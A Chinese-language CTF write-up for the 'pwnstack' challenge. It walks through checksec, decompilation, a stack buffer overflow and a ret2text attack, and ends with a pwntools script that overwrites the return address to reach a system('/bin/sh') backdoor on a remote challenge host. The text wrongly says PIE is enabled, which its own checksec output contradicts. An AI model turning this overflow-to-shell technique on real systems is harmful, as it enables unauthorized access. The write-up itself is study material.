攻防世界 pwnstack个人解题wp

校队没人打pwn, 没办法自己看能学多少算多少.

文件信息审计

拿到pwn2libc.so.6文件, 先使用filechecksec获取文件信息:


[root_cn@archlinux pwnstack]$ file pwn2

pwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62aa40d64871e142a32827b4e403772e72f67fba, not stripped

ELF 64-bit得知属于64位程序.


[root_cn@archlinux pwnstack]$ checksec --file=pwn2

RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE

Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 76 Symbols No 0 1 pwn2

检查文件开启了NX(数据执行保护), PIE(代码地址随机化)保护, 但是存在No canary found, 即Canary(栈溢出保护)未开启, 故可以从栈下手, 符合题意.

反编译

使用retdec进行反编译, 拿到pwn2.c文件与pwn2.dsm文件, 其中存在代码如下:


[root_cn@archlinux pwn]$ cat pwn2.c | head -n 46 | tail -n +39

// Address range: 0x40071b - 0x400762

int64_t vuln(void) {

// 0x40071b

int64_t buf; // bp-168, 0x40071b地址

__asm_rep_stosq_memset((char *)&buf, 0, 20); //初始化buf, 设置为0

read(0, &buf, 177);

return 0;

}

可以看到vuln函数中read读取177个字节, buf变量(int64_t)在地址0x40071b处为0xa0, 转十进制即为160, 小于可读取字节, 存在溢出漏洞, 其中buf的大小可以通过汇编语言定位到相应地址进行查询:


[root_cn@archlinux pwn]$ cat pwn2.dsm | head -n 161 | tail -n +158

; function: vuln at 0x40071b -- 0x400762

0x40071b: 55 push rbp

0x40071c: 48 89 e5 mov rbp, rsp

0x40071f: 48 81 ec a0 00 00 00 sub rsp, 0xa0

继续在汇编中可以找到未出现在程序的backdoor函数:


; function: backdoor at 0x400762 -- 0x400778

0x400762: 55 push rbp ; 当前函数地址的寄存器rbp压栈

0x400763: 48 89 e5 mov rbp, rsp ; 栈指针rsp指向栈顶

0x400766: bf 38 08 40 00 mov edi, 0x400838 ; "/bin/sh"

0x40076b: b8 00 00 00 00 mov eax, 0 ; 加法寄存器eax初始化为0

0x400770: e8 fb fd ff ff call 0x400570 <system>

0x400775: 90 nop ;

0x400776: 5d pop rbp ; 弹出rbp栈

0x400777: c3 ret ; 返回主函数

看到"/bin/sh"<system>可知函数已经写入了控制权限, 明显地, 本题为最基本的ret2text类题型.

ret2text

ret2text为最简单的栈溢出利用:

  • 通过栈溢出可以修改call指令保存在栈上的返回地址(指令指针eip的值)

  • 函数以ret声明结束后将eip指向栈顶, 回到主函数

  • 这时可通过栈溢出篡改栈上的指针

  • 新的值代替程序继续执行

  • 通过一定地构造可以控制程序流

个人理解, 不一定对.

目的与EXP

  1. 接下来只需要先输入160个字节填满buf

  2. 然后可以使用pwndbg打断点:


[root_cn@archlinux pwn]$ gdb pwn2

pwndbg> b *0x40071b

pwndbg> r

pwndbg> s

......

不断运行到栈上的值为 0x7fffffffe648 <- 0xa /* '\n' */, 这时候上面的栈为0x7fffffffe648 <- 0x1, 相差8位(大家是不是想起了什么? retdec编译出来时有注释过//bp-168).

  1. 故先写入168(160填满buf变量, 8填充到上一个栈, 应该是这个意思)个字节使指针指向栈顶.

  2. 写入backdoor地址.

以下是EXP工具:

from pwn import *

context.log_level = 'debug'
#io = process("./pwn2")

IP = "61.147.171.105"
port = 60233
io = remote(IP, port)

elf = ELF("./pwn2")
libc = ELF("./libc.so.6")

bp = b'a'*168
backdoor_addr = p64(0x400762)
#64位数字使用p64,32位数字使用p32

io.recv()
io.sendline(bp + backdoor_addr)
io.interactive()
re·ctf
115 views
Comments
登录后评论
Sign In